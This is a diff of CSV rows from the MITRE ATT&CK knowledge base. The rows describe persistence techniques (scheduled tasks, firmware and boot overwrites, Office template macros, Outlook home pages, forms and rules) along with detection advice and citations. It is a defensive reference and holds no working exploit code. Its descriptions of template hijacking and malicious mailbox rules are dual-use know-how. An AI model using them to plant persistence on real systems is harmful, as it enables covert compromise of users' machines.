(Windows),['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,,,,"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. +Note: The at.exe command line utility has been deprecated in current versions of Windows in favor of schtasks.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053/002', 'external_id': 'T1053.002'}, {'source_name': 'Twitter Leoloobeek Scheduled Task', 'description': 'Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.', 'url': 'https://twitter.com/leoloobeek/status/939248813465853953'}, {'source_name': 'TechNet Forum Scheduled Task Operational Setting', 'description': 'Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.', 'url': 'https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen'}, {'source_name': 'TechNet Scheduled Task Events', 'description': 'Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.', 'url': 'https://technet.microsoft.com/library/dd315590.aspx'}, {'source_name': 'Microsoft Scheduled Task Events Win10', 'description': 'Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Configure event logging for scheduled task creation and changes by enabling the ""Microsoft-Windows-TaskScheduler/Operational"" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) @@ -2558,13 +2788,13 @@ Configure event logging for scheduled task creation and changes by enabling the Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) -Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.",,,,,True,,,['Administrator'],['Windows'],True,,,1.0 -2019-11-13 14:44:49.439000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting) +Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.",True,['Administrator'],['Windows'],1.0,True,,,,,, +attack-pattern,attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-13T14:44:49.439Z,2020-10-22T16:35:54.740Z,Pre-OS Boot,"Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting) -Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1542', external_id='T1542'), ExternalReference(source_name='Wikipedia Booting', description='Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.', url='https://en.wikipedia.org/wiki/Booting'), ExternalReference(source_name='ITWorld Hard Disk Health Dec 2014', description=""Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018."", url='https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html')]",attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-10-22 16:35:54.740000+00:00,Pre-OS Boot,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Firmware: Firmware Modification', 'Driver: Driver Metadata', 'Process: OS API Execution', 'Drive: Drive Modification']","['Anti-virus', 'Host intrusion prevention systems', 'File monitoring']",,,,"Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching. +Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1542', 'external_id': 'T1542'}, {'source_name': 'Wikipedia Booting', 'description': 'Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.', 'url': 'https://en.wikipedia.org/wiki/Booting'}, {'source_name': 'ITWorld Hard Disk Health Dec 2014', 'description': ""Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018."", 'url': 'https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Firmware: Firmware Modification', 'Driver: Driver Metadata', 'Process: OS API Execution', 'Drive: Drive Modification']","['Anti-virus', 'Host intrusion prevention systems', 'File monitoring']","Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching. -Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014)",,,,,False,,,"['Administrator', 'SYSTEM']","['Linux', 'Windows', 'Network']",,,,1.1 -2019-11-07 20:29:17.788000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template) +Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014)",False,"['Administrator', 'SYSTEM']","['Linux', 'Windows', 'Network']",1.1,,,,,,, +attack-pattern,attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-07T20:29:17.788Z,2021-08-16T21:27:10.873Z,Office Template Macros,"Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template) Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) @@ -2576,125 +2806,125 @@ Excel Personal.xlsb location:
Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\Program Files (x86)\Microsoft Office\root\Office16\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) -An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1137/001', external_id='T1137.001'), ExternalReference(source_name='Microsoft Change Normal Template', description='Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.', url='https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea'), ExternalReference(source_name='MSDN VBA in Office', description='Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.', url='https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office'), ExternalReference(source_name='enigma0x3 normal.dotm', description='Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.', url='https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/'), ExternalReference(source_name='Hexacorn Office Template Macros', description='Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. Retrieved July 3, 2017.', url='http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/'), ExternalReference(source_name='GlobalDotName Jun 2019', description='Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.', url='https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique'), ExternalReference(source_name='CrowdStrike Outlook Forms', description='Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.', url='https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746'), ExternalReference(source_name='Outlook Today Home Page', description='Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.', url='https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943')]",attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-06-25 17:48:08.916000+00:00,Office Template Macros,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification']",,,,,"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)",,,,,True,,,"['User', 'Administrator']","['Windows', 'Office 365']",,,,1.0 -2019-11-07 20:09:56.536000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page) +An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137/001', 'external_id': 'T1137.001'}, {'source_name': 'Microsoft Change Normal Template', 'description': 'Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.', 'url': 'https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea'}, {'source_name': 'MSDN VBA in Office', 'description': 'Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.', 'url': 'https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office'}, {'source_name': 'enigma0x3 normal.dotm', 'description': 'Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.', 'url': 'https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/'}, {'source_name': 'Hexacorn Office Template Macros', 'description': 'Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. Retrieved July 3, 2017.', 'url': 'http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/'}, {'source_name': 'GlobalDotName Jun 2019', 'description': 'Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.', 'url': 'https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique'}, {'source_name': 'CrowdStrike Outlook Forms', 'description': 'Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.', 'url': 'https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746'}, {'source_name': 'Outlook Today Home Page', 'description': 'Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.', 'url': 'https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification']",,"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)",True,"['User', 'Administrator']","['Windows', 'Office 365']",1.1,,,,,,, +attack-pattern,attack-pattern--bf147104-abf9-4221-95d1-e81585859441,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-07T20:09:56.536Z,2021-08-16T21:30:01.743Z,Outlook Home Page,"Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page) Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page) -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1137/004', external_id='T1137.004'), ExternalReference(source_name='SensePost Outlook Home Page', description='Stalmans, E. (2017, October 11). Outlook Home Page – Another Ruler Vector. Retrieved February 4, 2019.', url='https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/'), ExternalReference(source_name='Microsoft Detect Outlook Forms', description='Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.', url='https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack'), ExternalReference(source_name='SensePost NotRuler', description='SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', url='https://github.com/sensepost/notruler')]",attack-pattern--bf147104-abf9-4221-95d1-e81585859441,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-26 17:35:51.656000+00:00,Outlook Home Page,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,,,,"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137/004', 'external_id': 'T1137.004'}, {'source_name': 'SensePost Outlook Home Page', 'description': 'Stalmans, E. (2017, October 11). Outlook Home Page – Another Ruler Vector. Retrieved February 4, 2019.', 'url': 'https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/'}, {'source_name': 'Microsoft Detect Outlook Forms', 'description': 'Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack'}, {'source_name': 'SensePost NotRuler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/notruler'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) -Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",,,,,True,,,"['Administrator', 'User']","['Windows', 'Office 365']",,,,1.0 -2019-11-07 20:06:02.624000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms) +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",True,"['Administrator', 'User']","['Windows', 'Office 365']",1.1,,,,,,, +attack-pattern,attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-07T20:06:02.624Z,2021-08-16T21:29:19.697Z,Outlook Forms,"Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms) -Once malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1137/003', external_id='T1137.003'), ExternalReference(source_name='SensePost Outlook Forms', description='Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.', url='https://sensepost.com/blog/2017/outlook-forms-and-shells/'), ExternalReference(source_name='Microsoft Detect Outlook Forms', description='Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.', url='https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack'), ExternalReference(source_name='SensePost NotRuler', description='SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', url='https://github.com/sensepost/notruler')]",attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-26 17:35:15.823000+00:00,Outlook Forms,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,,,,"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) +Once malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137/003', 'external_id': 'T1137.003'}, {'source_name': 'SensePost Outlook Forms', 'description': 'Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.', 'url': 'https://sensepost.com/blog/2017/outlook-forms-and-shells/'}, {'source_name': 'Microsoft Detect Outlook Forms', 'description': 'Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack'}, {'source_name': 'SensePost NotRuler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/notruler'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) -Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",,,,,True,,,"['Administrator', 'User']","['Windows', 'Office 365']",,,,1.0 -2019-11-07 20:00:25.560000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules) +Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",True,"['Administrator', 'User']","['Windows', 'Office 365']",1.1,,,,,,, +attack-pattern,attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-07T20:00:25.560Z,2021-10-15T20:18:30.700Z,Outlook Rules,"Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules) -Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1137/005', external_id='T1137.005'), ExternalReference(source_name='SilentBreak Outlook Rules', description='Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.', url='https://silentbreaksecurity.com/malicious-outlook-rules/'), ExternalReference(source_name='Microsoft Detect Outlook Forms', description='Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.', url='https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack'), ExternalReference(source_name='SensePost NotRuler', description='SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', url='https://github.com/sensepost/notruler')]",attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-26 17:36:15.923000+00:00,Outlook Rules,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,,,,"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) +Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1137/005', 'external_id': 'T1137.005'}, {'source_name': 'SilentBreak Outlook Rules', 'description': 'Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.', 'url': 'https://silentbreaksecurity.com/malicious-outlook-rules/'}, {'source_name': 'Microsoft Detect Outlook Forms', 'description': 'Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack'}, {'source_name': 'Pfammatter - Hidden Inbox Rules', 'description': 'Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.', 'url': 'https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/'}, {'source_name': 'SensePost NotRuler', 'description': 'SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', 'url': 'https://github.com/sensepost/notruler'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Microsoft Security'],"['Process: Process Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) -Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",,,,,True,,,"['Administrator', 'User']","['Windows', 'Office 365']",,,,1.0 -2019-11-07 19:52:52.801000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: 